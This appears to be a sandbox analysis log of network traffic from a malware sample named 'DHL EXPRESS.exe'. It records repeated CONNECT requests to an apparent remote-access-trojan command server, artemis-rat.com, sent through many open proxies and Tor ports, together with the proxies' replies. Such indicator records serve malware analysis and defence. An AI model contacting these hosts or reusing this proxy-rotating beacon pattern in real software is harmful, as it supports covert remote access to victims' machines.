Mar 11, 2024 18:36:59.409827948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.410105944 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.409588099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.409471989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.409423113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:05.409492970 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:53.409454107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1567	192.168.2.8	53324	198.49.68.80	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.265575886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261485100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.362811089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.456839085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.461138010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.471978903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.581409931 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:05.581360102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:53.690710068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1568	192.168.2.8	50783	103.172.42.121	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.265731096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.261504889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1569	192.168.2.8	54422	175.183.82.221	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.266391993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1570	192.168.2.8	54446	111.90.150.109	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.266690969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1571	192.168.2.8	54445	89.218.8.152	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.267441034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1572	192.168.2.8	54449	185.220.226.128	808	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.268110037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1573	192.168.2.8	54469	104.19.124.112	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.270648956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.831044912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.986931086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1574	192.168.2.8	54470	104.25.234.81	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.273974895 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.428747892 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1575	192.168.2.8	53218	128.199.196.31	57715	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.275110006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.394182920 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.409821987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.410104036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.409440994 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.409487009 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.409446955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:05.409488916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:53.409475088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1576	192.168.2.8	54454	58.234.116.197	8193	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.275352955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1577	192.168.2.8	50949	85.113.55.123	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.277937889 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.571464062 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1578	192.168.2.8	54448	27.76.193.213	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.278050900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1579	192.168.2.8	50984	51.158.98.197	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.281668901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.029539108 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1580	192.168.2.8	54463	129.213.150.205	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.282171011 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1581	192.168.2.8	53335	168.126.74.132	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.282365084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.362592936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.362946033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:32.608418941 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1582	192.168.2.8	54509	162.159.243.178	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.283906937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.445085049 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1583	192.168.2.8	54522	104.25.108.120	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.284260035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.439013958 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1584	192.168.2.8	54531	185.238.228.96	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.286710024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.440865993 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1585	192.168.2.8	54458	196.20.125.129	8083	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.287576914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1586	192.168.2.8	54220	166.62.38.100	32216	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.311530113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.394066095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.409806013 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.410100937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.409460068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.409498930 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.409451962 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
